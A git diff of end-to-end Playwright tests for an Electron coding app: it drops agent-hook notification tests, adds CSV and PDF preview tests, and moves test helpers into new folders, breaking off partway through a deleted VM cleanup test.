switchToOtherExistingWorktree(orcaPage) - - const finalMessage = `Codex hook completed ${Date.now()}` - await emitCodexHookStatus(endpoint, { - paneKey, - worktreeId, - state: 'done', - prompt, - lastAssistantMessage: finalMessage - }) - await expect - .poll( - async () => - (await getAgentStatuses(orcaPage)).some( - (status) => - status.agentType === 'codex' && - status.state === 'done' && - status.prompt === prompt && - status.lastAssistantMessage === finalMessage - ), - { - timeout: 30_000, - message: 'Codex Stop hook did not reach renderer agent status' - } - ) - .toBe(true) - - await expect - .poll( - async () => { - const dispatches = await getNotificationDispatches(electronApp) - return dispatches.filter((dispatch) => dispatch.source === 'agent-task-complete') - }, - { - timeout: 30_000, - message: 'Codex hook Stop did not dispatch task-complete while worktree was inactive' - } - ) - .toEqual([ - expect.objectContaining({ - source: 'agent-task-complete', - terminalTitle: 'codex', - isActiveWorktree: false, - agentType: 'codex', - agentPrompt: prompt, - agentLastAssistantMessage: finalMessage - }) - ]) - - await expect - .poll(async () => isWorktreeUnread(orcaPage, worktreeId), { - timeout: 10_000, - message: 'Codex hook Stop did not mark the inactive worktree unread' - }) - .toBe(true) - }) - - test('Grok routine permission prompt hooks stay working and do not notify', async ({ - orcaPage, - electronApp - }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await installMainProcessNotificationDispatchSpy(electronApp) - const endpoint = await readHookEndpoint(electronApp) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const readyMarker = `__GROK_HOOK_NOTIFY_READY_${Date.now()}__` - await sendToTerminal(orcaPage, ptyId, `printf '${readyMarker}\\n'\r`) - await waitForTerminalOutput(orcaPage, readyMarker) - - const { paneKey, worktreeId } = await waitForActivePaneHookDescriptor(orcaPage) - const prompt = `grok-hook-notify-${Date.now()}` - await emitGrokHookPayload(endpoint, { - paneKey, - worktreeId, - payload: { - hookEventName: 'user_prompt_submit', - prompt - } - }) - await expect - .poll( - async () => - (await getAgentStatuses(orcaPage)).some( - (status) => - status.agentType === 'grok' && status.state === 'working' && status.prompt === prompt - ), - { - timeout: 30_000, - message: 'Grok UserPromptSubmit hook did not reach renderer agent status' - } - ) - .toBe(true) - - await emitGrokHookPayload(endpoint, { - paneKey, - worktreeId, - payload: { - hookEventName: 'pre_tool_use', - toolName: 'Shell', - toolInput: { command: 'echo hi' } - } - }) - await emitGrokHookPayload(endpoint, { - paneKey, - worktreeId, - payload: { - hookEventName: 'notification', - notificationType: 'permission_prompt', - message: 'Tool permission requested', - level: 'info' - } - }) - - await orcaPage.waitForTimeout(500) - expect( - (await getAgentStatuses(orcaPage)).some( - (status) => - status.agentType === 'grok' && status.prompt === prompt && status.state === 'waiting' - ) - ).toBe(false) - expect( - (await getNotificationDispatches(electronApp)).filter( - (dispatch) => dispatch.source === 'agent-task-complete' - ) - ).toEqual([]) - - const finalMessage = `Grok hook completed ${Date.now()}` - await emitGrokHookPayload(endpoint, { - paneKey, - worktreeId, - payload: { - hookEventName: 'stop', - lastAssistantMessage: finalMessage - } - }) - await expect - .poll( - async () => - (await getAgentStatuses(orcaPage)).some( - (status) => - status.agentType === 'grok' && - status.state === 'done' && - status.prompt === prompt && - status.lastAssistantMessage === finalMessage - ), - { - timeout: 30_000, - message: 'Grok Stop hook did not reach renderer agent status' - } - ) - .toBe(true) - }) - - test('recognized agent title completion dispatches one task-complete notification', async ({ - orcaPage, - electronApp - }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - // contextBridge freezes window.api; observe notification dispatch in main instead. - await installMainProcessNotificationDispatchSpy(electronApp) - await installRendererTitleLog(orcaPage) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const marker = `__CODEX_NOTIFY_READY_${Date.now()}__` - await sendToTerminal(orcaPage, ptyId, `printf '${marker}\\n'\r`) - await waitForTerminalOutput(orcaPage, marker) - - await emitOscTitle(orcaPage, ptyId, 'Codex working') - await expect - .poll(async () => (await getRendererTitleLog(orcaPage)).includes('Codex working'), { - timeout: 10_000, - message: 'Codex working title did not reach the renderer before completion' - }) - .toBe(true) - - await emitOscTitle(orcaPage, ptyId, 'Codex done') - await expect - .poll(async () => (await getRendererTitleLog(orcaPage)).includes('Codex done'), { - timeout: 10_000, - message: 'Codex done title did not reach the renderer' - }) - .toBe(true) - - await expect - .poll( - async () => { - const dispatches = await getNotificationDispatches(electronApp) - return dispatches.filter((dispatch) => dispatch.source === 'agent-task-complete') - }, - { - timeout: 10_000, - message: 'Codex working->done title transition did not dispatch task-complete' - } - ) - .toEqual([ - expect.objectContaining({ source: 'agent-task-complete', terminalTitle: 'Codex done' }) - ]) - }) - - test('Factory Droid needs-input native title does not dispatch a task-complete notification', async ({ - orcaPage, - electronApp - }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - // contextBridge freezes window.api; observe notification dispatch in main instead. - await installMainProcessNotificationDispatchSpy(electronApp) - await installRendererTitleLog(orcaPage) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const marker = `__DROID_NOTIFY_READY_${Date.now()}__` - await sendToTerminal(orcaPage, ptyId, `printf '${marker}\\n'\r`) - await waitForTerminalOutput(orcaPage, marker) - - await emitOscTitle(orcaPage, ptyId, '⠋ Droid') - await emitOscTitle(orcaPage, ptyId, 'Factory Droid needs input') - - await expect - .poll( - async () => (await getRendererTitleLog(orcaPage)).includes('Factory Droid needs input'), - { - timeout: 10_000, - message: 'Factory Droid marker title did not land' - } - ) - .toBe(true) - - // Droid can show this title during Execute; hooks alone own its completion status. - await orcaPage.waitForTimeout(500) - const dispatches = await getNotificationDispatches(electronApp) - expect(dispatches).toEqual([]) - }) -}) diff --git a/tests/e2e/editor/csv/csv-paged-preview.spec.ts b/tests/e2e/editor/csv/csv-paged-preview.spec.ts new file mode 100644 index 00000000000..4c1c30f4c26 --- /dev/null +++ b/tests/e2e/editor/csv/csv-paged-preview.spec.ts @@ -0,0 +1,60 @@ +import { writeFileSync } from 'node:fs' +import path from 'node:path' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' + +test.use({ + orcaAppExtraArgs: [ + '--enable-precise-memory-info', + ...(process.env.ORCA_CSV_CDP_PORT + ? [`--remote-debugging-port=${process.env.ORCA_CSV_CDP_PORT}`] + : []) + ] +}) + +test('paged previews accept a maximum-size record with a BOM and CRLF', async ({ + orcaPage, + seededRepoPath, + electronApp +}, testInfo) => { + const name = 'record-boundary.csv' + const filePath = path.join(seededRepoPath, name) + const recordBytes = 1024 * 1024 + writeFileSync(filePath, `\ufeff${'x'.repeat(recordBytes)}\r\ntail\r\n`) + await orcaPage.evaluate( + ({ name, filePath }) => { + const state = window.__store?.getState() + if (!state?.activeWorktreeId) { + throw new Error('Missing CSV boundary workspace') + } + state.openFile({ + filePath, + relativePath: name, + worktreeId: state.activeWorktreeId, + language: 'plaintext', + mode: 'edit' + }) + }, + { name, filePath } + ) + await expect(orcaPage.getByRole('table')).toHaveAttribute('aria-rowcount', '2', { + timeout: 30_000 + }) + await expect(orcaPage.getByRole('cell', { name: 'tail', exact: true })).toBeVisible() + expect( + await orcaPage + .getByRole('columnheader') + .nth(1) + .evaluate((element) => element.textContent?.length) + ).toBe(recordBytes) + if ( + process.env.ORCA_E2E_FORCE_HEADFUL !== '1' && + testInfo.project.metadata.orcaHeadful !== true + ) { + expect( + await electronApp.evaluate(({ BrowserWindow }) => + BrowserWindow.getAllWindows().some((window) => window.isVisible()) + ) + ).toBe(false) + } +}) diff --git a/tests/e2e/editor/csv/csv-url-links.spec.ts b/tests/e2e/editor/csv/csv-url-links.spec.ts new file mode 100644 index 00000000000..99e79f00cc2 --- /dev/null +++ b/tests/e2e/editor/csv/csv-url-links.spec.ts @@ -0,0 +1,63 @@ +import { writeFileSync } from 'node:fs' +import path from 'node:path' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' + +test('dense CSVs below 1 MiB remain visible and shrinking a later row window recovers', async ({ + orcaPage, + seededRepoPath, + electronApp +}, testInfo) => { + const name = 'dense-small.csv' + const filePath = path.join(seededRepoPath, name) + writeFileSync(filePath, `id\n${'\n'.repeat(600_000)}`) + await orcaPage.evaluate( + ({ name, filePath }) => { + const state = window.__store?.getState() + if (!state?.activeWorktreeId) { + throw new Error('Missing dense CSV workspace') + } + state.openFile( + { + filePath, + relativePath: name, + worktreeId: state.activeWorktreeId, + language: 'plaintext', + mode: 'edit' + }, + { preview: false } + ) + }, + { name, filePath } + ) + await expect(orcaPage.getByTestId('csv-grid')).toHaveAttribute('aria-rowcount', '600001') + await orcaPage.getByRole('button', { name: 'Next rows' }).click() + await expect(orcaPage.getByRole('rowheader', { name: '500001', exact: true })).toBeVisible() + await orcaPage.getByTestId('csv-scroll').evaluate((element) => { + element.scrollTop = element.scrollHeight + }) + await expect(orcaPage.getByRole('rowheader', { name: '600000', exact: true })).toBeVisible() + await orcaPage.evaluate(() => { + const state = window.__store?.getState() + const file = state?.openFiles.find((file) => file.filePath.endsWith('dense-small.csv')) + if (!state || !file) { + throw new Error('Missing dense CSV tab') + } + state.setEditorDraft(file.id, 'id\nfirst\nsecond\nthird\n') + }) + await expect(orcaPage.getByTestId('csv-grid')).toHaveAttribute('aria-rowcount', '4') + await expect(orcaPage.getByRole('gridcell', { name: 'first', exact: true })).toBeVisible() + await expect(orcaPage.getByRole('gridcell', { name: 'third', exact: true })).toBeVisible() + await expect(orcaPage.getByRole('button', { name: 'Next rows' })).toHaveCount(0) + await orcaPage.screenshot({ path: testInfo.outputPath('dense-after-shrink.png') }) + if ( + process.env.ORCA_E2E_FORCE_HEADFUL !== '1' && + testInfo.project.metadata.orcaHeadful !== true + ) { + expect( + await electronApp.evaluate(({ BrowserWindow }) => + BrowserWindow.getAllWindows().some((window) => window.isVisible()) + ) + ).toBe(false) + } +}) diff --git a/tests/e2e/file-explorer-copy-file-windows.spec.ts b/tests/e2e/editor/file-explorer/file-explorer-copy-file-windows.spec.ts similarity index 95% rename from tests/e2e/file-explorer-copy-file-windows.spec.ts rename to tests/e2e/editor/file-explorer/file-explorer-copy-file-windows.spec.ts index 685a44626d6..40f610e3b92 100644 --- a/tests/e2e/file-explorer-copy-file-windows.spec.ts +++ b/tests/e2e/editor/file-explorer/file-explorer-copy-file-windows.spec.ts @@ -3,7 +3,8 @@ import os from 'node:os' import path from 'node:path' import { runProcess } from '@orca/process-host' import { windowsPowerShellPath } from '@orca/process-host/windows-system-binary' -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' test.use({ seedTestRepo: false }) diff --git a/tests/e2e/helpers/file-explorer.ts b/tests/e2e/editor/file-explorer/file-explorer.ts similarity index 100% rename from tests/e2e/helpers/file-explorer.ts rename to tests/e2e/editor/file-explorer/file-explorer.ts diff --git a/tests/e2e/runtime-file-browser-windows-drives.spec.ts b/tests/e2e/editor/file-explorer/runtime-file-browser-windows-drives.spec.ts similarity index 86% rename from tests/e2e/runtime-file-browser-windows-drives.spec.ts rename to tests/e2e/editor/file-explorer/runtime-file-browser-windows-drives.spec.ts index d1bfbdef609..48b7fb99bd5 100644 --- a/tests/e2e/runtime-file-browser-windows-drives.spec.ts +++ b/tests/e2e/editor/file-explorer/runtime-file-browser-windows-drives.spec.ts @@ -1,11 +1,12 @@ import os from 'node:os' import path from 'node:path' -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { createRuntimeDesktopPairingOffer, launchPairedElectronClient -} from './helpers/paired-electron-client' -import { waitForSessionReady } from './helpers/store' +} from '../../remote/paired-runtime/client-hosts/paired-electron-client' +import { waitForSessionReady } from '../../desktop/renderer-probes/store' test.describe('paired runtime Windows file browser', () => { test.skip(process.platform !== 'win32', 'Windows drive roots require a Windows runtime host') diff --git a/tests/e2e/editor-model-host-isolation.spec.ts b/tests/e2e/editor/file-lifecycle/editor-model-host-isolation.spec.ts similarity index 94% rename from tests/e2e/editor-model-host-isolation.spec.ts rename to tests/e2e/editor/file-lifecycle/editor-model-host-isolation.spec.ts index 76afb565bc4..864a407e3d9 100644 --- a/tests/e2e/editor-model-host-isolation.spec.ts +++ b/tests/e2e/editor/file-lifecycle/editor-model-host-isolation.spec.ts @@ -2,13 +2,14 @@ import { randomUUID } from 'node:crypto' import { rm, writeFile } from 'node:fs/promises' import path from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { createRuntimeDesktopPairingOffer, launchPairedElectronClient, type PairedElectronClient -} from './helpers/paired-electron-client' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' +} from '../../remote/paired-runtime/client-hosts/paired-electron-client' +import { waitForActiveWorktree, waitForSessionReady } from '../../desktop/renderer-probes/store' async function openWorkspaceFile( page: Page, diff --git a/tests/e2e/markdown-callout-source-fidelity.spec.ts b/tests/e2e/editor/markdown/markdown-callout-source-fidelity.spec.ts similarity index 93% rename from tests/e2e/markdown-callout-source-fidelity.spec.ts rename to tests/e2e/editor/markdown/markdown-callout-source-fidelity.spec.ts index 82fdf9c26ce..a79ea1bf43c 100644 --- a/tests/e2e/markdown-callout-source-fidelity.spec.ts +++ b/tests/e2e/editor/markdown/markdown-callout-source-fidelity.spec.ts @@ -1,6 +1,7 @@ import { readFileSync } from 'node:fs' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActiveWorktree, waitForSessionReady } from '../../desktop/renderer-probes/store' import { cleanupMarkdownFixture, closeActiveEditorTab, @@ -8,7 +9,7 @@ import { getActiveWorktreeContext, openMarkdownFixture, waitForRichMarkdownEditor -} from './helpers/markdown-editor-fixture' +} from './markdown-editor-fixture' const ARTICLE = [ '---', diff --git a/tests/e2e/helpers/markdown-editor-fixture.ts b/tests/e2e/editor/markdown/markdown-editor-fixture.ts similarity index 100% rename from tests/e2e/helpers/markdown-editor-fixture.ts rename to tests/e2e/editor/markdown/markdown-editor-fixture.ts diff --git a/tests/e2e/markdown-find-adversarial.spec.ts b/tests/e2e/editor/markdown/markdown-find-adversarial.spec.ts similarity index 64% rename from tests/e2e/markdown-find-adversarial.spec.ts rename to tests/e2e/editor/markdown/markdown-find-adversarial.spec.ts index db6ed7fb2d4..afbf3d8614c 100644 --- a/tests/e2e/markdown-find-adversarial.spec.ts +++ b/tests/e2e/editor/markdown/markdown-find-adversarial.spec.ts @@ -1,13 +1,14 @@ import type { Locator, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { pressShortcut } from './helpers/shortcuts' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { pressShortcut } from '../../desktop/renderer-probes/shortcuts' import { cleanupMarkdownFixture, createMarkdownFixture, getActiveWorktreeContext, openMarkdownFixture, waitForRichMarkdownEditor -} from './helpers/markdown-editor-fixture' +} from './markdown-editor-fixture' const FIRST = 'First alpha paragraph for pointer selection.' const SECOND = 'Second beta paragraph for pointer selection.' @@ -64,26 +65,6 @@ async function find(page: Page, query = 'Needle', status = '1/2') { } /** Clicks, then waits for the selectionchange the editor reads the click's selection from; Xvfb delivers it late. */ -async function clickAndAwaitSelection( - page: Page, - point: { x: number; y: number }, - expected: 'caret' | 'range' -) { - await page.evaluate((collapsed) => { - const root = document.documentElement - delete root.dataset.e2eSelectionChanged - const onChange = () => { - // An earlier action's late event describes the previous selection, not this click's. - if (window.getSelection()?.isCollapsed === collapsed) { - root.dataset.e2eSelectionChanged = 'true' - document.removeEventListener('selectionchange', onChange) - } - } - document.addEventListener('selectionchange', onChange) - }, expected === 'caret') - await page.mouse.click(point.x, point.y) - await expect(page.locator('html')).toHaveAttribute('data-e2e-selection-changed', 'true') -} async function drag(page: Page, start: Locator, end: Locator, from: number, to: number) { const firstPoint = await textPoint(start, from) @@ -109,63 +90,6 @@ test.beforeEach(async ({ orcaPage, registerPostElectronShutdownCleanup }, testIn await editor.locator('p').first().click() }) -test('Find preserves Shift-click, double-click, and multi-paragraph copy selection', async ({ - orcaPage -}, testInfo) => { - const editor = orcaPage.locator('.rich-markdown-editor') - const first = editor.getByText(FIRST, { exact: true }) - const second = editor.getByText(SECOND, { exact: true }) - const search = await find(orcaPage) - await centered(first) - const viewport = orcaPage.locator('.rich-markdown-editor-shell .overflow-auto') - const scroll = await viewport.evaluate((element) => element.scrollTop) - const start = await textPoint(first, 6) - const end = await textPoint(second, 11) - await orcaPage.mouse.click(start.x, start.y) - await orcaPage.keyboard.down('Shift') - await orcaPage.mouse.click(end.x, end.y) - await orcaPage.keyboard.up('Shift') - expect(await selectedText(orcaPage)).toBe(`${FIRST.slice(6)}\n\n${SECOND.slice(0, 11)}`) - await expect(editor).toBeFocused() - await expect( - orcaPage - .locator('[data-tab-id]') - .filter({ hasText: 'find-interactions' }) - .last() - .locator('span.rounded-full') - ).toHaveCount(0) - // Find extends from the caret the editor saw, and copy reads the editor's range, so each must land first. - await clickAndAwaitSelection(orcaPage, start, 'caret') - await search.focus() - await orcaPage.keyboard.down('Shift') - await clickAndAwaitSelection(orcaPage, end, 'range') - await orcaPage.keyboard.up('Shift') - expect(await selectedText(orcaPage)).toBe(`${FIRST.slice(6)}\n\n${SECOND.slice(0, 11)}`) - const copied = await editor.evaluate((element) => { - const clipboard = new DataTransfer() - element.dispatchEvent( - new ClipboardEvent('copy', { bubbles: true, cancelable: true, clipboardData: clipboard }) - ) - return { plain: clipboard.getData('text/plain'), html: clipboard.getData('text/html') } - }) - expect(copied.plain).toContain(FIRST.slice(6)) - expect(copied.plain).toContain(SECOND.slice(0, 11)) - expect(copied.html).toContain('

') - await expect(editor.getByText('Needle first match.', { exact: true })).toBeVisible() - await expect.poll(() => viewport.evaluate((element) => element.scrollTop)).toBeCloseTo(scroll, 0) - await orcaPage.screenshot({ path: testInfo.outputPath('shift-click-copy-selection.png') }) - await search.focus() - const word = await textPoint(first, 9) - await orcaPage.mouse.dblclick(word.x, word.y) - expect(await selectedText(orcaPage)).toBe('alpha') - await orcaPage.keyboard.type('xy', { delay: 100 }) - await expect( - editor.getByText('First xy paragraph for pointer selection.', { exact: true }) - ).toBeVisible() - await expect(search).toHaveValue('Needle') - await expect(orcaPage.locator('.rich-markdown-search-status')).toHaveText('1/2') -}) - test('Replace input returns to a multi-paragraph drag and explicit next-match navigation', async ({ orcaPage }, testInfo) => { @@ -199,49 +123,6 @@ test('Replace input returns to a multi-paragraph drag and explicit next-match na await orcaPage.screenshot({ path: testInfo.outputPath('replace-next-reopen.png') }) }) -test('Find returns focus and copies the intended cells after Shift-clicking a table', async ({ - orcaPage -}, testInfo) => { - const editor = orcaPage.locator('.rich-markdown-editor') - const search = await find(orcaPage, 'Cell alpha', '1/1') - const firstCell = editor.getByText('Cell alpha', { exact: true }) - const lastCell = editor.getByText('Cell delta', { exact: true }) - await centered(firstCell) - const viewport = orcaPage.locator('.rich-markdown-editor-shell .overflow-auto') - const scroll = await viewport.evaluate((element) => element.scrollTop) - const point = await textPoint(lastCell, 6) - await orcaPage.keyboard.down('Shift') - await orcaPage.mouse.move(point.x, point.y) - await orcaPage.mouse.down() - await orcaPage.evaluate( - () => - new Promise((resolve) => { - requestAnimationFrame(() => requestAnimationFrame(() => resolve())) - }) - ) - await orcaPage.mouse.up() - await orcaPage.keyboard.up('Shift') - await expect(editor.locator('td.selectedCell')).toHaveCount(4) - await orcaPage.screenshot({ path: testInfo.outputPath('shift-cell-selection.png') }) - await expect(editor).toBeFocused() - await expect(search).toHaveValue('Cell alpha') - await expect.poll(() => viewport.evaluate((element) => element.scrollTop)).toBeCloseTo(scroll, 0) - const tab = orcaPage.locator('[data-tab-id]').filter({ hasText: 'find-interactions' }).last() - await expect(tab.locator('span.rounded-full')).toHaveCount(0) - const copied = await editor.evaluate((element) => { - const clipboard = new DataTransfer() - element.dispatchEvent( - new ClipboardEvent('copy', { - bubbles: true, - cancelable: true, - clipboardData: clipboard - }) - ) - return clipboard.getData('text/plain') - }) - expect(copied).toBe('Cell alpha\n\nCell beta\n\nCell gamma\n\nCell delta') -}) - test('Find preserves embedded task, details, and code editing', async ({ orcaPage }, testInfo) => { const editor = orcaPage.locator('.rich-markdown-editor') const search = await find(orcaPage) diff --git a/tests/e2e/helpers/markdown-inline-image.ts b/tests/e2e/editor/markdown/markdown-inline-image.ts similarity index 100% rename from tests/e2e/helpers/markdown-inline-image.ts rename to tests/e2e/editor/markdown/markdown-inline-image.ts diff --git a/tests/e2e/markdown-nested-toggle.spec.ts b/tests/e2e/editor/markdown/markdown-nested-toggle.spec.ts similarity index 88% rename from tests/e2e/markdown-nested-toggle.spec.ts rename to tests/e2e/editor/markdown/markdown-nested-toggle.spec.ts index bad704ca4d9..1098a2fe813 100644 --- a/tests/e2e/markdown-nested-toggle.spec.ts +++ b/tests/e2e/editor/markdown/markdown-nested-toggle.spec.ts @@ -1,5 +1,6 @@ import { readFileSync } from 'node:fs' -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { cleanupMarkdownFixture, closeActiveEditorTab, @@ -7,7 +8,7 @@ import { getActiveWorktreeContext, openMarkdownFixture, waitForRichMarkdownEditor -} from './helpers/markdown-editor-fixture' +} from './markdown-editor-fixture' import { expectEditableNestedToggles, expectFileKeepsNesting, @@ -15,8 +16,8 @@ import { NESTED_TOGGLE_FIXTURE_DIRECTORY, NESTED_TOGGLE_MARKDOWN, placeCaretInNestedToggleBody -} from './helpers/markdown-nested-toggle' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' +} from './markdown-nested-toggle' +import { waitForActiveWorktree, waitForSessionReady } from '../../desktop/renderer-probes/store' test.describe('Markdown nested toggle regression', () => { test.beforeEach(async ({ orcaPage }) => { diff --git a/tests/e2e/helpers/markdown-nested-toggle.ts b/tests/e2e/editor/markdown/markdown-nested-toggle.ts similarity index 100% rename from tests/e2e/helpers/markdown-nested-toggle.ts rename to tests/e2e/editor/markdown/markdown-nested-toggle.ts diff --git a/tests/e2e/rich-markdown-inline-image.spec.ts b/tests/e2e/editor/markdown/rich-markdown-inline-image.spec.ts similarity index 94% rename from tests/e2e/rich-markdown-inline-image.spec.ts rename to tests/e2e/editor/markdown/rich-markdown-inline-image.spec.ts index f25b8fa8014..5c114b8b378 100644 --- a/tests/e2e/rich-markdown-inline-image.spec.ts +++ b/tests/e2e/editor/markdown/rich-markdown-inline-image.spec.ts @@ -1,11 +1,12 @@ -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { cleanupMarkdownFixture, createMarkdownFixture, getActiveWorktreeContext, openMarkdownFixture, waitForRichMarkdownEditor -} from './helpers/markdown-editor-fixture' +} from './markdown-editor-fixture' import { collectRichMarkdownPageErrors, expectNoRichMarkdownSchemaCrash, @@ -13,8 +14,8 @@ import { INLINE_IMAGE_FIXTURE_DIRECTORY, INLINE_IMAGE_PARAGRAPH_MARKDOWN, writeInlineImageAsset -} from './helpers/markdown-inline-image' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' +} from './markdown-inline-image' +import { waitForActiveWorktree, waitForSessionReady } from '../../desktop/renderer-probes/store' // Nested inline images used to parse invalid schema and fail only when the first edit reassembled their paragraph. test.describe('Rich markdown inline image regression', () => { diff --git a/tests/e2e/pdf-detail-device-pixels.spec.ts b/tests/e2e/editor/pdf/pdf-detail-device-pixels.spec.ts similarity index 92% rename from tests/e2e/pdf-detail-device-pixels.spec.ts rename to tests/e2e/editor/pdf/pdf-detail-device-pixels.spec.ts index f03eff6454e..0e1bd21994c 100644 --- a/tests/e2e/pdf-detail-device-pixels.spec.ts +++ b/tests/e2e/editor/pdf/pdf-detail-device-pixels.spec.ts @@ -1,9 +1,10 @@ import { rmSync, writeFileSync } from 'node:fs' import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { createPdfFindFixture } from './helpers/pdf-find-fixture' -import { PDF_SCALE_PREFERENCES_STORAGE_KEY } from '../../src/renderer/src/components/editor/pdf/pdf-scale-preference-storage' -import { buildFileViewPreferenceKey as buildPdfScalePreferenceKey } from '../../src/renderer/src/components/editor/view-mode/file-view-preference-storage' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { createPdfFindFixture } from './pdf-find-fixture' +import { PDF_SCALE_PREFERENCES_STORAGE_KEY } from '../../../../src/renderer/src/components/editor/pdf/pdf-scale-preference-storage' +import { buildFileViewPreferenceKey as buildPdfScalePreferenceKey } from '../../../../src/renderer/src/components/editor/view-mode/file-view-preference-storage' test.use({ orcaAppExtraArgs: ['--force-device-scale-factor=1'] }) diff --git a/tests/e2e/editor/pdf/pdf-find-counter.spec.ts b/tests/e2e/editor/pdf/pdf-find-counter.spec.ts new file mode 100644 index 00000000000..8701e29dbf1 --- /dev/null +++ b/tests/e2e/editor/pdf/pdf-find-counter.spec.ts @@ -0,0 +1,72 @@ +import { writeFileSync, rmSync, mkdtempSync } from 'node:fs' +import os from 'node:os' +import path from 'node:path' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { createPdfFindFixture } from './pdf-find-fixture' +import { pressShortcut } from '../../desktop/renderer-probes/shortcuts' + +test.describe('PDF in a folder workspace', () => { + test.use({ seedTestRepo: false }) + + test('finds and navigates a PDF without a Git repository', async ({ + orcaPage, + registerPostElectronShutdownCleanup + }, testInfo) => { + const folderPath = mkdtempSync(path.join(os.tmpdir(), 'orca-pdf-folder-')) + const filePath = path.join(folderPath, 'pdf-find-fixture.pdf') + writeFileSync(filePath, createPdfFindFixture()) + registerPostElectronShutdownCleanup(async () => + rmSync(folderPath, { recursive: true, force: true }) + ) + await orcaPage.evaluate( + async ({ folderPath, filePath }) => { + const state = window.__store?.getState() + if (!state) { + throw new Error('Missing fixture store') + } + const group = await window.api.projectGroups.create({ + name: 'PDF fixture', + parentPath: folderPath, + createdFrom: 'folder-scan' + }) + await state.fetchProjectGroups({ runtimeEnvironmentId: null, throwOnError: true }) + const folder = await state.createFolderWorkspace( + { + projectGroupId: group.id, + name: 'PDF documents', + folderPath + }, + { runtimeEnvironmentId: null } + ) + if (!folder) { + throw new Error('Missing fixture folder') + } + const worktreeId = `folder:${folder.folderWorkspace.id}` + state.setActiveWorktree(worktreeId) + state.openFile({ + filePath, + relativePath: 'pdf-find-fixture.pdf', + worktreeId, + language: 'plaintext', + mode: 'edit' + }) + }, + { folderPath, filePath } + ) + await expect(orcaPage.locator('.pdfViewer .page')).toHaveCount(3) + await expect(orcaPage.locator('.pdfViewer .page').first().locator('.textLayer')).toContainText( + 'needle result 1' + ) + await pressShortcut(orcaPage, 'f') + const input = orcaPage.getByPlaceholder('Find in page...') + await input.fill('needle') + await expect(input.locator('..')).toContainText('1 of 6') + const selected = orcaPage.locator('.pdfViewer .highlight.selected').locator('..') + await expect(selected).toHaveText('needle result 1') + await input.press('Enter') + await expect(input.locator('..')).toContainText('2 of 6') + await expect(selected).toHaveText('needle result 2') + await orcaPage.screenshot({ path: testInfo.outputPath('folder-next.png') }) + }) +}) diff --git a/tests/e2e/helpers/pdf-find-fixture.ts b/tests/e2e/editor/pdf/pdf-find-fixture.ts similarity index 100% rename from tests/e2e/helpers/pdf-find-fixture.ts rename to tests/e2e/editor/pdf/pdf-find-fixture.ts diff --git a/tests/e2e/media-preview-partition-isolation.spec.ts b/tests/e2e/editor/previews/media-preview-partition-isolation.spec.ts similarity index 94% rename from tests/e2e/media-preview-partition-isolation.spec.ts rename to tests/e2e/editor/previews/media-preview-partition-isolation.spec.ts index 22ef317e933..a789b7a4467 100644 --- a/tests/e2e/media-preview-partition-isolation.spec.ts +++ b/tests/e2e/editor/previews/media-preview-partition-isolation.spec.ts @@ -1,6 +1,7 @@ import { rmSync, writeFileSync } from 'node:fs' import path from 'node:path' -import { expect, test } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' // 1x1 PNG. const PNG = Buffer.from( diff --git a/tests/e2e/helpers/paired-html-preview-inventory.ts b/tests/e2e/editor/previews/paired-html-preview-inventory.ts similarity index 100% rename from tests/e2e/helpers/paired-html-preview-inventory.ts rename to tests/e2e/editor/previews/paired-html-preview-inventory.ts diff --git a/tests/e2e/ephemeral-vm-cleanup-retry.spec.ts b/tests/e2e/ephemeral-vm-cleanup-retry.spec.ts deleted file mode 100644 index 6954a8e2f1e..00000000000 --- a/tests/e2e/ephemeral-vm-cleanup-retry.spec.ts +++ /dev/null @@ -1,165 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { existsSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' - -test.use({ seedTestRepo: false }) - -test('shows interrupted hidden SSH cleanup as retryable', async ({ electronApp, orcaPage }) => { - const userDataPath = await electronApp.evaluate(({ app }) => app.getPath('userData')) - writeFileSync( - path.join(userDataPath, 'orca-ephemeral-vm-runtimes.json'), - JSON.stringify({ - version: 1, - runtimes: [ - { - id: 'runtime-cleanup-retry', - recipeId: 'cloud-sandbox', - 